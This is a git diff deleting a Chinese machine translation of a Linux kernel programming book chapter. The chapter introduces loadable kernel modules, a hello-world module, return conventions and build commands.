assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions_to_assgn)。 - -# 进一步阅读 - -为了帮助您用有用的材料更深入地研究这个主题,我们在本书的 GitHub 存储库中的进一步阅读文档中提供了一个相当详细的在线参考资料和链接列表(有时甚至是书籍)。*进一步阅读*文档可在此处获得:[https://github . com/packt publishing/Linux-Kernel-Programming/blob/master/进一步阅读. md](https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/Further_Reading.md) 。******** \ No newline at end of file diff --git a/docs/linux-kernel-prog/04.md b/docs/linux-kernel-prog/04.md deleted file mode 100644 index c7562a94..00000000 --- a/docs/linux-kernel-prog/04.md +++ /dev/null @@ -1,1411 +0,0 @@ -# 四、编写你的第一个内核模块——LKMs 第一部分 - -欢迎来到您的旅程,了解 Linux 内核开发的一个基本方面——可加载内核模块 ( **LKM** )框架——以及它将如何被*模块用户*或*模块作者*使用,后者通常是内核或设备驱动程序程序员。这个话题相当广泛,因此分为两章——这一章和下一章。 - -在本章中,我们将从快速了解 Linux 内核架构的基础知识开始,这将有助于我们理解 LKM 框架。然后,我们将研究为什么内核模块是有用的,并编写我们自己的简单的*你好,世界* LKM,构建和运行它。我们将看到消息是如何写入内核日志的,以及如何理解和使用 LKM Makefile。到本章结束时,您将已经学习了 Linux 内核体系结构和 LKM 框架的基础知识,并应用它编写了一段简单而完整的内核代码。 - -在本章中,我们将介绍以下食谱: - -* 理解内核架构——第一部分 -* 探索语言学习管理系统 -* 编写我们的第一个内核模块 -* 内核模块上的常见操作 -* 了解内核日志和 printk -* 了解内核模块 Makefile 的基础知识 - -# 技术要求 - -如果您已经仔细阅读了[第 1 章](01.html)、*内核工作空间设置*,那么接下来的技术先决条件将已经得到解决。(这一章还提到了各种有用的开源工具和项目;我绝对建议你至少浏览一遍。)为了方便大家,我们在这里总结一些要点。 - -要在 Linux 发行版(或定制系统)上构建和使用内核模块,您至少需要安装以下两个组件: - -* **一个工具链**:包括编译器、汇编器、链接器/加载器、C 库以及各种其他的零碎东西。如果构建本地系统,就像我们现在假设的那样,那么任何现代的 Linux 发行版都会预装一个本地工具链。如果没有,简单的安装`gcc`包给你分发就足够了;在基于 Ubuntu 或 Debian 的 Linux 系统上,使用以下命令: - -```sh -sudo apt install gcc -``` - -* **内核头**:这些头将在编译期间使用。实际上,您安装的包不仅适合安装内核头,还适合将其他所需的部分(如内核 Makefile)安装到系统上。同样,任何现代的 Linux 发行版都将/应该预先安装内核头。如果没有(可以使用`dpkg(1)`检查,如下图),只需安装软件包供您分发即可;在基于 Ubuntu 或 Debian 的 Linux 系统上,使用以下命令: - -```sh -$ sudo apt install linux-headers-generic $ dpkg -l | grep linux-headers | awk '{print $1, $2}' -ii linux-headers-5.3.0-28 -ii linux-headers-5.3.0-28-generic -ii linux-headers-5.3.0-40 -ii linux-headers-5.3.0-40-generic -ii linux-headers-generic-hwe-18.04 -$ -``` - -这里,使用`dpkg(1)`实用程序的第二个命令只是用来验证`linux-headers`包是否确实已安装。 - -This package may be named `kernel-headers-` on some distributions. Also, for development directly on a Raspberry Pi, install the relevant kernel headers package named `raspberrypi-kernel-headers`. - -这本书的整个源代码树可以在位于[https://github.com/PacktPublishing/Linux-Kernel-Programming](https://github.com/PacktPublishing/Linux-Kernel-Programming)的 GitHub 存储库中找到,本章的代码在`ch4`目录下。我们绝对希望你克隆它: - -```sh -git clone https://github.com/PacktPublishing/Linux-Kernel-Programming.git - -``` - -本章代码在其目录同名`chn`下(其中`n`为章节号;所以在这里,它在`ch4/`下面。 - -# 理解内核架构–第 1 部分 - -在这一节中,我们开始加深对内核的理解。更具体地说,这里我们深入研究什么是用户和内核空间,以及构成 Linux 内核的主要子系统和各种组件。目前,这些信息是在更高的抽象层次上处理的,并且有意保持简短。我们将在[第 6 章](06.html)、*内核内部要素-进程和线程* *中深入研究内核的结构。* - -## 用户空间和内核空间 - -现代微处理器至少支持两种特权级别。作为一个真实的例子,英特尔/AMD x86[-64]系列支持四种特权级别(他们称之为*环级别*),ARM (32 位)微处理器系列最多支持七种(ARM 称之为*执行模式*;六个是特权的,一个是非特权的)。 - -这里的关键点是,为了平台的安全性和稳定性,在这些处理器上运行的所有现代操作系统将利用(至少)两个特权级别(或模式): - -* **用户空间**:供*应用*在*非特权用户模式*下运行 -* **内核空间**:供*内核*(及其所有组件)以特权模式运行–*内核模式* - -下图显示了这个基本架构: - -![](img/c48acd75-0329-4b4f-b385-3756d4b1ccaf.png) - -Figure 4.1 – Basic architecture – two privilege modes - -下面是关于 Linux 系统架构的一些细节;一定要读下去。 - -## 库和系统调用 API - -用户空间应用通常依赖**应用编程接口** ( **应用接口**)来执行工作。一个*库*本质上是一个 API 的集合或归档,允许你使用一个标准化的、编写良好的、测试良好的接口(并利用通常的好处:不必重新发明轮子、可移植性、标准化等等)。Linux 系统有几个库;即使是企业级系统上的数百个也并不少见。其中,*所有* usermode Linux 应用(可执行文件)都被“自动链接”到一个重要的、始终使用的库:`glibc`*–GNU 标准 C 库*,您将会了解到。然而,库只在用户模式下可用;内核没有库(在下一章中会有更多的介绍)。 - -库 API 的例子是众所周知的`printf(3)`(回想一下,来自[第 1 章](01.html)、*内核工作区设置*,可以找到该 API 的手册页部分)、`scanf(3)`、`strcmp(3)`、`malloc(3)`和`free(3)`。 - -现在,一个关键点是:如果用户和内核是分开的地址空间,并且处于不同的权限级别,用户进程如何访问内核?简短的回答是*通过系统调用。* A **系统调用**是一个特殊的 API,从某种意义上说,它是用户空间进程访问内核的唯一合法(同步)方式。换句话说,系统调用是进入内核空间的唯一合法的*入口点*。它们能够*将*从非特权用户模式切换到特权内核模式(在*进程和中断上下文*部分下的[第 6 章](06.html)、*内核内部要素–进程和线程*中有更多关于这一点和整体设计的内容)。系统调用的例子包括`fork(2)`、`execve(2)`、`open(2)`、`read(2)`、`write(2)`、`socket(2)`、`accept(2)`、`chmod(2)`等等。 - -Look up all library and system call APIs in the man pages online: -- Library APIs, man section 3: [https://linux.die.net/man/3/](https://linux.die.net/man/3/) -- System call APIs, man section 2: [https://linux.die.net/man/2/](https://linux.die.net/man/2/) - -这里要强调的一点是,用户应用和内核实际上只是通过系统调用进行通信;这就是界面。在这本书里,我们不深入探讨这些细节。如果您有兴趣了解更多,请参考 Packt(具体为*第一章,Linux 系统架构*)的《用 Linux 进行系统编程的实践》。 - -## 内核空间组件 - -当然,这本书完全专注于内核空间。如今的 Linux 内核是一个相当庞大而复杂的庞然大物。在内部,它由几个主要的子系统和几个组件组成。内核子系统和组件的广泛列举产生了以下列表: - -* **Core 内核**:这段代码处理任何现代操作系统的典型核心工作,包括(用户和内核)进程和线程创建/销毁、CPU 调度、同步原语、信令、定时器、中断处理、名称空间、cgroups、模块支持、加密等等。 -* **内存管理(MM)** :处理所有内存相关的工作,包括内核和进程的设置和维护**虚拟地址空间** ( **花瓶**)。 - -* **VFS(针对文件系统支持)**:**虚拟文件系统交换机** ( **VFS** )是在 Linux 内核中实现的实际文件系统之上的抽象层(例如,`ext[2|4]`、`vfat`、`reiserfs`、`ntfs`、`msdos`、`iso9660`、JFFS2 和 UFS)。 -* **Block IO** :实现实际文件 I/O 的代码路径,从 VFS 一直到 Block 设备驱动程序以及其间的一切(真的,很多!),就包含在这里了。 -* **网络协议栈** : Linux 以其精确、不折不扣的 RFC 而闻名,在模型的所有层高质量地实现了众所周知(也不那么知名)的网络协议,其中 TCP/IP 可能是最著名的。 -* **进程间通信(IPC)支持**:IPC 机制的实现在这里完成;Linux 支持消息队列、共享内存、信号量(旧的 SysV 和新的 POSIX)以及其他 IPC 机制。 -* **声音支持**:实现音频的所有代码都在这里,从固件到驱动和编解码器。 -* **虚拟化支持** : Linux 已经在大大小小的云提供商中变得非常受欢迎,一个很大的原因是其高质量、低占用空间的虚拟化引擎,**基于内核的虚拟机** ( **KVM** )。 - -所有这些构成了主要的核心子系统;此外,我们还有这些: - -* 特定于内存的代码 -* 内核初始化 -* 安全框架 -* 许多类型的设备驱动程序 - -Recall that in [Chapter 2](02.html), *Building the 5.x Linux Kernel from Source – Part 1*, the *A brief tour of the kernel source tree* section gave the kernel source tree (code) layout corresponding to the major subsystems and other components. - -众所周知,Linux 内核遵循**单片内核架构**。本质上,单片设计是所有*内核组件(我们在本节中提到的)都位于并共享内核地址空间(或内核*段*)的设计。这可以从下图中清楚地看到:* - - *![](img/fd07a9d1-f3d0-4d70-b62f-c6309dc124e6.png) - -Figure 4.2 – Linux kernel space - major subsystems and blocks - -你应该知道的另一个事实是,这些地址空间当然是虚拟的,而不是物理的。内核将(利用 MMU/TLB/缓存等硬件)*在页面粒度级别将虚拟页面映射到物理页面框架。它通过使用*主*内核分页表将内核虚拟页面映射到物理框架来实现这一点,并且对于每个活动的进程,它通过每个进程的单独分页表将进程的虚拟页面映射到物理页面框架。* - -More in-depth coverage of the essentials of the kernel and memory management architecture and internals awaits you in [Chapter 6](06.html), *Kernel Internals Essentials – Processes and Threads* (and more chapters that follow). - -现在我们已经对用户和内核空间有了基本的了解,让我们继续前进,开始我们进入 LKM 框架的旅程。 - -# 探索语言学习管理系统 - -简单地说,内核模块是一种提供内核级功能的方法,而不需要在内核源代码树中工作。 - -设想一个场景,在这个场景中,您必须向 Linux 内核添加一个支持特性——也许是一个新的设备驱动程序,以便使用某个硬件外围芯片、新的文件系统或新的输入/输出调度程序。一种方法很明显:用新代码更新内核源代码树,构建它,并测试它。 - -虽然这看起来很简单,但实际上要做很多工作——我们编写的代码中的每一个变化,无论多么微小,都需要我们重建内核映像,然后重新启动系统来测试它。一定有更干净、更容易的方法;的确有–*LKM 框架*! - -## LKM 框架 - -LKM 框架是一种在内核源代码树之外编译一段内核代码*的手段,通常被称为“树外”代码,在有限的意义上保持它独立于内核,然后将其插入或*将其插入*内核内存,让它运行并执行其工作,然后将其从内核内存中移除(或*拔掉*)。* - -内核模块的源代码,通常由一个或多个 C 源文件、头文件和一个 Makefile 组成,被构建(当然是通过`make(1)`)到*内核模块*中。内核模块本身只是一个二进制目标文件,而不是二进制可执行文件。在 Linux 2.4 及更早版本中,内核模块的文件名有一个`.o`后缀;在现代 2.6 Linux 和更高版本上,它反而有一个`.ko`(**k**ernel**o**object)后缀。一旦构建完成,您可以在运行时将这个`.ko`文件——内核模块——插入到实时内核中,有效地使其成为内核的一部分。 - -Note that not *all* kernel functionality can be provided via the LKM framework. Several core features, such as the core CPU scheduler code, memory manage the signaling, timer, interrupt management code paths, and so on, can only be developed within the kernel itself. Similarly, a kernel module is only allowed access to a subset of the full kernel API; more on this later. - -你可能会问:我如何将一个对象插入到内核中?让我们保持简单——答案是:通过`insmod(8)`实用程序。现在,让我们跳过细节(这些将在即将到来的*运行内核模块*部分解释)。下图概述了首先构建内核模块,然后将内核模块插入内核内存的过程: - -![](img/7fae7ccc-ac05-4ddd-ade0-f8c1ce267683.png) - -Figure 4.3 – Building and then inserting a kernel module into kernel memory Worry not: the actual code for both the kernel module C source as well as its Makefile is dealt with in detail in an upcoming section; for now, we want to gain a conceptual understanding only. - -内核模块装入并驻留在内核内存中,即内核分配给它的空间区域中的内核 VAS(图 4.3*的下半部分*)。毫无疑问,*是内核代码,以内核权限*运行。这样,内核(或驱动程序)开发人员就不必每次都重新配置、重建和重启系统。你所要做的就是编辑内核模块的代码,重建它,从内存中移除旧的副本(如果它存在的话),并插入新的版本。它节省时间,提高生产率。 - -内核模块有优势的一个原因是它们适合动态产品配置。例如,内核模块可以被设计成以不同的价位提供不同的功能;为嵌入式产品生成最终映像的脚本可以安装一组给定的内核模块,这取决于客户愿意支付的价格。这是另一个在*调试*或故障排除场景中如何利用这项技术的例子:内核模块可以用来动态生成现有产品的诊断和调试日志。kprobes 之类的技术就允许这样。 - -实际上,LKM 框架通过允许我们在内核内存中插入和移除活动代码,为我们提供了一种动态扩展内核功能的方法。这种随意插拔内核功能的能力让我们意识到,Linux 内核并不是纯粹的单片,它也是*模块化的。* - -## 内核源代码树中的内核模块 - -事实上,内核模块对象对我们来说并不完全陌生。在[第 3 章](03.html)*从源代码构建 5.x Linux 内核-第 2 部分*中,我们构建了内核模块作为内核构建过程的一部分,并安装了它们。 - -回想一下,这些内核模块是内核源代码的一部分,并且已经通过在三态内核 menuconfig 提示符中选择`M`配置为模块。它们被安装到`/lib/modules/$(uname -r)/`下的目录中。因此,要了解安装在当前运行的 Ubuntu 18.04.3 LTS 来宾内核下的内核模块,我们可以这样做: - -```sh -$ lsb_release -a 2>/dev/null |grep Description -Description: Ubuntu 18.04.3 LTS -$ uname -r -5.0.0-36-generic -$ find /lib/modules/$(uname -r)/ -name "*.ko" | wc -l -5359 -``` - -好吧,Canonical 和其他地方的人一直很忙!超过五千个内核模块...想想看——这是有道理的:分销商无法事先确切知道用户最终会使用什么硬件外设(尤其是在基于 x86 的系统等通用计算机上)。内核模块是一种方便的方式,可以支持大量的硬件,而不会过度膨胀内核镜像文件(例如`bzImage`或`zImage`)。 - -为我们的 Ubuntu Linux 系统安装的内核模块位于`/lib/modules/$(uname -r)/kernel`目录中,如下所示: - -```sh -$ ls /lib/modules/5.0.0-36-generic/kernel/ -arch/ block/ crypto/ drivers/ fs/ kernel/ lib/ mm/ net/ samples/ sound/ spl/ ubuntu/ virt/ zfs/ -$ ls /lib/modules/5.4.0-llkd01/kernel/ -arch/ crypto/ drivers/ fs/ net/ sound/ -$ -``` - -在这里,查看发行版内核`/lib/modules/$(uname -r)`下`kernel/`目录的顶层(Ubuntu 18.04.3 LTS 运行`5.0.0-36-generic`内核),我们看到里面有许多子文件夹和几千个内核模块。相比之下,我们构建的内核(详见[第 2 章](02.html)、*从源代码构建 5.x Linux 内核–第 1 部分*、[第 3 章](03.html)、*从源代码构建 5.x Linux 内核–第 2 部分*)就少多了。您会从我们在[第 2 章](02.html)、*从源代码构建 5.x Linux 内核–第 1 部分*中的讨论中回想起,我们故意使用`localmodconfig`目标来保持构建的小而快。因此,在这里,我们的定制 5.4.0 内核只有大约 60 多个内核模块是针对它构建的 ***。*** - -内核模块大量使用的一个领域是*设备驱动程序*。举个例子,让我们来看看一个被设计成内核模块的网络设备驱动程序。你可以找到几个(也有熟悉的品牌!)在发行版内核的`kernel/drivers/net/ethernet`文件夹下: - -![](img/ac627df8-ed3f-4db0-b491-cb1183e18cbf.png) - -Figure 4.4 – Content of our distro kernel's ethernet network drivers (kernel modules) - -许多基于英特尔的笔记本电脑上流行的是英特尔 1gb**网络接口卡** ( **网卡**)以太网适配器。驱动它的网络设备驱动程序称为`e1000`驱动程序。我们的 x86-64 Ubuntu 18.04.3 客户机(运行在 x86-64 主机笔记本电脑上)显示它确实使用了该驱动程序: - -```sh -$ lsmod | grep e1000 -e1000 139264 0 -``` - -我们将很快更详细地介绍`lsmod(8)`(“列表模块”)实用程序。对我们来说更重要的是,我们可以看到它是一个内核模块!获取关于这个特定内核模块的更多信息怎么样?利用`modinfo(8)`实用程序很容易做到这一点(为了可读性,我们在这里截断了它的详细输出): - -```sh -$ ls -l /lib/modules/5.0.0-36-generic/kernel/drivers/net/ethernet/intel/e1000 -total 220 --rw-r--r-- 1 root root 221729 Nov 12 16:16 e1000.ko -$ modinfo /lib/modules/5.0.0-36-generic/kernel/drivers/net/ethernet/intel/e1000/e1000.ko -filename: /lib/modules/5.0.0-36-generic/kernel/drivers/net/ethernet/intel/e1000/e1000.ko -version: 7.3.21-k8-NAPI -license: GPL v2 -description: Intel(R) PRO/1000 Network Driver -author: Intel Corporation, -srcversion: C521B82214E3F5A010A9383 -alias: pci:v00008086d00002E6Esv*sd*bc*sc*i* -[...] -name: e1000 -vermagic: 5.0.0-36-generic SMP mod_unload -[...] -parm: copybreak:Maximum size of packet that is copied to a new - buffer on receive (uint) -parm: debug:Debug level (0=none,...,16=all) (int) -$ -``` - -`modinfo(8)`实用程序允许我们窥视内核模块的二进制图像,并提取一些关于它的细节;关于使用`modinfo`的更多信息,请参见下一节。 - -Another way to gain useful information on the system, including information on kernel modules that are currently loaded up, is via the `systool(1)` utility. For an installed kernel module (details on *installing* a kernel module follow in the next chapter in the *Auto-loading modules on system boot* section), doing `systool -m -v` reveals information about it. Look up the `systool(1)` man page for usage details. - -底线是内核模块已经成为构建和分发某些类型内核组件的实用方式,其中*设备驱动程序*是它们最常用的用例。其他用途包括但不限于文件系统、网络防火墙、数据包嗅探器和定制内核代码。 - -因此,如果您想学习如何编写 Linux 设备驱动程序、文件系统或防火墙,您必须首先学习如何编写内核模块,从而利用内核强大的 LKM 框架。这正是我们接下来要做的。 - -# 编写我们的第一个内核模块 - -当介绍一种新的编程语言或主题时,模仿原始的 *K & R Hello,world* 程序作为第一段代码已经成为一种被广泛接受的计算机编程传统。我很高兴遵循这一受人尊敬的传统来介绍强大的 LKM 框架。在本节中,您将学习编写简单 LKM 代码的步骤。我们详细解释代码。 - -## 介绍我们的你好,世界 LKM C 代码 - -下面是一些简单的 *Hello,world* C 代码,实现时遵守 Linux 内核的 LKM 框架: - -For reasons of readability and space constraints, only the key parts of the source code are displayed here. To view the complete source code, build it, and run it, the entire source tree for this book is available in it's GitHub repository here: [https://github.com/PacktPublishing/Linux-Kernel-Programming](https://github.com/PacktPublishing/Linux-Kernel-Programming). We definitely expect you to clone it: -`git clone https://github.com/PacktPublishing/Linux-Kernel-Programming.git` - -```sh -// ch4/helloworld_lkm/hellowworld_lkm.c -#include -#include -#include - -MODULE_AUTHOR(""); -MODULE_DESCRIPTION("LLKD book:ch4/helloworld_lkm: hello, world, our first LKM"); -MODULE_LICENSE("Dual MIT/GPL"); -MODULE_VERSION("0.1"); - -static int __init helloworld_lkm_init(void) -{ - printk(KERN_INFO "Hello, world\n"); - return 0; /* success */ -} - -static void __exit helloworld_lkm_exit(void) -{ - printk(KERN_INFO "Goodbye, world\n"); -} - -module_init(helloworld_lkm_init); -module_exit(helloworld_lkm_exit); -``` - -你可以马上试用这个简单的*你好,世界*内核模块!只需`cd`到这里所示的正确的源目录,并获得我们的助手`lkm`脚本来构建和运行它: - -```sh -$ cd <...>/ch4/helloworld_lkm -$ ../../lkm helloworld_lkm -Version info: -Distro: Ubuntu 18.04.3 LTS -Kernel: 5.0.0-36-generic -[...] -dmesg[ 5399.230367] Hello, world -$ -``` - -*如何和为什么*将很快详细解释。尽管很小,但我们第一个内核模块的代码需要仔细阅读和理解。一定要读下去。 - -## 分解它 - -以下小节解释了前面*你好,世界* C 代码的每一行。请记住,尽管这个程序看起来非常小和琐碎,但是关于它和周围的 LKM 框架有很多需要理解的地方。这一章的其余部分集中在这一点上,并深入细节。我强烈建议你先花时间通读并理解这些基础知识。这将在以后可能难以调试的情况下极大地帮助您。 - -### 内核头 - -我们用`#include`来表示几个头文件。与用户空间“C”应用开发不同,这些是*内核头*(如*技术要求*部分所述)。回想一下[第 3 章](02.html)、*从源代码构建 5.x Linux 内核–第 2 部分*,内核模块安装在特定的根可写分支下。让我们再次检查一下(在这里,我们在我们的来宾 x86_64 Ubuntu 虚拟机上运行 5.0.0-36 通用发行版内核): - -```sh -$ ls -l /lib/modules/$(uname -r)/ -total 5552 -lrwxrwxrwx 1 root root 39 Nov 12 16:16 build -> /usr/src/linux-headers-5.0.0-36-generic/ -drwxr-xr-x 2 root root 4096 Nov 28 08:49 initrd/ -[...] -``` - -请注意名为`build`的符号或软链接。它指向系统上内核头的位置。在前面的代码中,它在`/usr/src/linux-headers-5.0.0-36-generic/`下面!正如您将看到的,我们将把这些信息提供给用于构建内核模块的 Makefile。(另外,一些系统有一个类似的软链接,叫做`source`)。 - -The `kernel-headers` or `linux-headers` package unpacks a limited kernel source tree onto the system, typically under `/usr/src/...`. This code, however, isn't complete, hence our use of the phrase *limited* source tree. This is because the complete kernel source tree isn't required for the purpose of building modules – just the required components (the headers, the Makefiles, and so on) are what's packaged and extracted. - -我们的 *Hello,world* 内核模块的第一行代码是`#include `。 - -编译器通过在`/lib/modules/$(uname -r)/build/include/`下搜索前面提到的内核头文件来解决这个问题。因此,通过跟随`build`软链接,我们可以看到它最终拾取了这个头文件: - -```sh -$ ls -l /usr/src/linux-headers-5.0.0-36-generic/include/linux/init.h --rw-r--r-- 1 root root 9704 Mar 4 2019 /usr/src/linux-headers-5.0.0-36-generic/include/linux/init.h -``` - -内核模块源代码中包含的其他内核头也是如此。 - -### 模块宏 - -接下来,我们有几个`MODULE_FOO()`形式的模块宏;大多数都很直观: - -* `MODULE_AUTHOR()`:指定内核模块的作者 -* `MODULE_DESCRIPTION()`:简述这个 LKM 的功能 -* `MODULE_LICENSE()`:指定发行此内核模块的许可证 -* `MODULE_VERSION()`:指定内核模块的(本地)版本 - -如果没有源代码,这些信息将如何传达给最终用户(或客户)?啊,`modinfo(8)`实用程序正是这么做的!这些宏及其信息看似微不足道,但在项目和产品中却很重要。例如,供应商通过在所有已安装内核模块的`modinfo`输出上使用`grep`来建立运行代码的(开源)许可证,从而依赖这些信息。 - -### 出入境点 - -永远不要忘记,内核模块毕竟是以内核特权运行的*内核代码。它是*而不是*一个应用,因此没有它的入口点作为熟悉的`main()`功能(我们非常了解和喜爱的功能)。当然,这就引出了一个问题:内核模块的入口点和出口点是什么?请注意,在我们的简单内核模块的底部,有以下几行:* - -```sh -module_init(helloworld_lkm_init); -module_exit(helloworld_lkm_exit); -``` - -`module_[init|exit]()`代码是分别指定入口点和出口点的宏。每个的参数是一个函数指针。使用现代 C 编译器,我们可以只指定函数的名称。因此,在我们的代码中,以下内容适用: - -* `helloworld_lkm_init()`功能是入口点。 -* `helloworld_lkm_exit()`功能是退出点。 - -您几乎可以将这些入口点和出口点视为内核模块的*构造函数/析构函数*对。从技术上来说,情况并非如此,当然,因为这不是面向对象的 C++代码,而是普通的 C。然而,这是一个有用的类比。 - -### 返回值 - -注意`init`和`exit`功能的签名如下: - -```sh -static int __init _init(void); -static void __exit _exit(void); -``` - -作为一种良好的编码实践,我们使用了函数的命名格式`__[init|exit]()`,其中``被替换为内核模块的名称。你会意识到这个命名约定只是——它只是一个约定,从技术上来说,没有必要,但是它是直观的,因此是有帮助的。显然,两个例程都没有接收到任何参数。 - -用`static`限定符标记这两个函数意味着它们是这个内核模块的私有函数。这就是我们想要的。 - -现在让我们继续讨论内核模块的`init`函数返回值遵循的重要约定。 - -#### 0/-E 返回约定 - -内核模块的`init` 功能是返回一个类型为`int`的值;这是一个关键方面。关于从内核空间到用户空间进程的返回值,Linux 内核已经进化出了一种*风格*或惯例。LKM 框架遵循俗称的`0/-E`公约: - -* 成功后,返回整数值`0`。 -* 失败后,返回您希望将用户空间全局未初始化整数`errno`设置为的负值。 - -Be aware that `errno` is a global residing in a user process VAS within the uninitialized data segment. With very few exceptions, whenever a Linux system call fails, `-1` is returned and `errno` is set to a positive value, representing the failure code; this work is carried out by `glibc` "glue" code on the `syscall` return path. - -Furthermore, the `errno` value is actually an index into a global table of English error messages (`const char * const sys_errlist[]`); this is really how routines such as `perror(3)`, `strerror[_r](3)` and the like can print out failure diagnostics. - -By the way, you can look up the **complete list of error codes** available to you from within these (kernel source tree) header files: `include/uapi/asm-generic/errno-base.h` and `include/uapi/asm-generic/errno.h`. - -一个如何从内核模块的`init` 函数返回的快速例子将有助于明确这一点:假设我们的内核模块的`init` 函数正在尝试动态分配一些内核内存(关于`kmalloc()` API 等的细节将在后面的章节中介绍);请暂时忽略它)。然后,我们可以这样编码: - -```sh -[...] -ptr = kmalloc(87, GFP_KERNEL); -if (!ptr) { - pr_warning("%s:%s:%d: kmalloc failed!\n", __FILE__, __func__, __LINE__); - return -ENOMEM; -} -[...] -return 0; /* success */ -``` - -如果内存分配失败(非常不可能,但是嘿,它可能会发生!),我们执行以下操作: - -1. 首先,我们发出警告`printk`。事实上,在这种特殊的情况下——“出于记忆”——这是迂腐和不必要的。如果内核空间内存分配失败,内核肯定会发出足够的诊断信息!详见本链接:[https://lkml.org/lkml/2014/6/10/382](https://lkml.org/lkml/2014/6/10/382);我们在这里这样做仅仅是因为它在讨论的早期,为了读者的连续性。 -2. 返回`-ENOMEM`值: - * 该值在用户空间返回到的图层实际上是`glibc`;它有一些“胶水”代码,将这个值乘以`-1`并将全局整数`errno`设置为它。 - * 现在,`[f]init_module(2)`系统调用将返回`-1`,表示失败(这是因为`insmod(8)`实际上调用了这个系统调用,您很快就会看到)。 - * `errno`将设置为`ENOMEM`,反映内核模块插入失败是因为内存分配失败。 - -相反,框架*期望*`init`函数在成功时返回值`0`。事实上,在旧的内核版本中,成功时不返回`0`会导致内核模块突然从内核内存中卸载。现在,内核模块的这种移除不会发生,但是内核会发出一条警告消息,告知已经返回了一个*可疑的*非零值。 - -清理程序没什么好说的。它不接收任何参数,也不返回任何内容(`void`)。它的工作是在内核模块从内核内存卸载之前执行任何和所有需要的清理。 - -*Not* including the `module_exit()` macro in your kernel module makes it impossible to ever unload it (notwithstanding a system shutdown or reboot, of course). Interesting... (I suggest you try this out as a small exercise!). - -Of course, it's never that simple: this behavior preventing the unload is guaranteed only if the kernel is built with the `CONFIG_MODULE_FORCE_UNLOAD` flag set to `Disabled` (the default). - -#### ERR_PTR 和 PTR_ERR 宏 - -关于返回值的讨论,您现在明白了内核模块的`init`例程必须返回一个整数。如果你想返回一个指针呢?`ERR_PTR()`内联函数来拯救我们,允许我们返回一个指针*伪装成一个整数*,只需把它打造成`void *`。它实际上变得更好:您可以使用`IS_ERR()`内联函数(它实际上只是计算出该值是否在[-1 到-4095]的范围内)来检查错误,*通过`ERR_PTR()`内联函数将*一个负错误值编码到指针中,*使用逆向例程`PTR_ERR()`从指针中检索*该值。 - -举个简单的例子,看看这里给出的被调用者代码。这一次,我们让(示例)函数`myfunc()`返回一个指针(指向名为`mystruct`的结构),而不是一个整数: - -```sh -struct mystruct * myfunc(void) -{ - struct mystruct *mys = NULL; - mys = kzalloc(sizeof(struct mystruct), GFP_KERNEL); - if (!mys) - return ERR_PTR(-ENOMEM); - [...] - return mys; -} -``` - -调用者代码如下: - -```sh -[...] -gmys = myfunc(); -if (IS_ERR(gmys)) { - pr_warn("%s: myfunc alloc failed, aborting...\n", OURMODNAME); - stat = PTR_ERR(gmys); /* sets 'stat' to the value -ENOMEM */ - goto out_fail_1; -} -[...] -return stat; -out_fail_1: - return stat; -} -``` - -仅供参考,内联`ERR_PTR()`、`PTR_ERR()`和`IS_ERR()`函数都位于(内核头)`include/linux/err.h`文件中。内核文档([https://kernel . readed docs . io/en/sphinx-samples/kernel-hacking . html # return-约定](https://kernel.readthedocs.io/en/sphinx-samples/kernel-hacking.html#return-conventions))谈到了内核函数的返回约定。此外,您可以在内核源代码树中的`crypto/api-samples`代码下找到这些函数的用法示例:[https://www . kernel . org/doc/html/v 4.17/crypto/API-samples . html](https://www.kernel.org/doc/html/v4.17/crypto/api-samples.html)[。](https://www.kernel.org/doc/html/v4.17/crypto/api-samples.html) - -#### __init 和 __exit 关键字 - -一个小问题:我们在前面的函数签名中看到的`__init`和`__exit`宏到底是什么?这些只是链接器插入的内存优化属性。 - -`__init`宏为代码定义了一个`init.text`部分。类似地,任何用`__initdata`属性声明的数据都会进入`init.data`部分。这里的重点是`init`函数中的代码和数据在初始化期间只使用一次。一旦被调用,就不会再被调用;因此,一旦被调用,它就会被释放(通过`free_initmem()`)。 - -这笔交易类似于`__exit`宏,当然,这仅适用于内核模块。一旦调用`cleanup`函数,所有的内存都会被释放。如果代码是静态内核映像的一部分(或者如果模块支持被禁用),这个宏将没有任何作用。 - -很好,但是到目前为止,我们还没有解释一些实用性:如何将内核模块对象放入内核内存,让它执行,然后卸载它,再加上您可能希望执行的其他操作。让我们在下一节讨论这些。 - -# 内核模块上的常见操作 - -现在让我们深入研究如何构建、加载和卸载内核模块。除此之外,我们还将浏览关于非常有用的`printk()`内核 API 的基础知识,列出当前加载的带有`lsmod(8)`的内核模块的细节,以及用于在内核模块开发过程中自动化一些常见任务的便利脚本。那么,让我们开始吧! - -## 构建内核模块 - -We definitely urge you to try out our simple *Hello, world* kernel module exercise (if you haven't already done so)! To do so, we assume you have cloned this book's GitHub repository ([https://github.com/PacktPublishing/Linux-Kernel-Programming](https://github.com/PacktPublishing/Linux-Kernel-Programming)) already. If not, please do so now (refer to the *Technical requirements* section for details). - -在这里,我们一步一步地展示如何构建我们的第一个内核模块,然后将它插入内核内存。再次提醒一下:我们已经在运行 Ubuntu 18.04.3 LTS 发行版的 x86-64 Linux 来宾虚拟机(在 Oracle VirtualBox 6.1 下)上执行了以下步骤: - -1. 改为本书的源代码章节目录和子目录。我们的第一个内核模块位于它自己的文件夹中(这是应该的!)称为`helloworld_lkm`: - -```sh - cd /ch4/helloworld_lkm -``` - -`` is, of course, the folder into which you cloned this book's GitHub repository; here (see the screenshot, Figure 4.5), you can see that it's `/home/llkd/book_llkd/Linux-Kernel-Programming/`. - -2. 现在验证代码库: - -```sh -$ pwd -**/ch4/helloworld_lkm -$ ls -l -total 8 --rw-rw-r-- 1 llkd llkd 1211 Jan 24 13:01 helloworld_lkm.c --rw-rw-r-- 1 llkd llkd 333 Jan 24 13:01 Makefile -$ -``` - -3. 用`make`建造: - -![](img/350b13df-ac0e-4f2f-8a82-e49d80efcb93.png) - -Figure 4.5 – Listing and building our very first *Hello, world* kernel module - -前面的截图显示内核模块已经成功构建。是`./helloworld_lkm.ko`档。(另外,请注意,我们是从前面几章中构建的定制 5.4.0 内核启动的,因此构建了内核模块。) - -## 运行内核模块 - -当然,为了让内核模块运行,您需要首先将其加载到内核内存空间中。这就是所谓的*将*模块插入内核内存。 - -将内核模块放入 Linux 内核段有几种方法,最终归结为调用其中一个`[f]init_module(2)`系统调用。为了方便起见,有几个包装实用程序可以做到这一点(或者您总是可以编写一个)。我们将使用下面流行的`insmod(8)`(阅读为“ **ins** ert **mod** 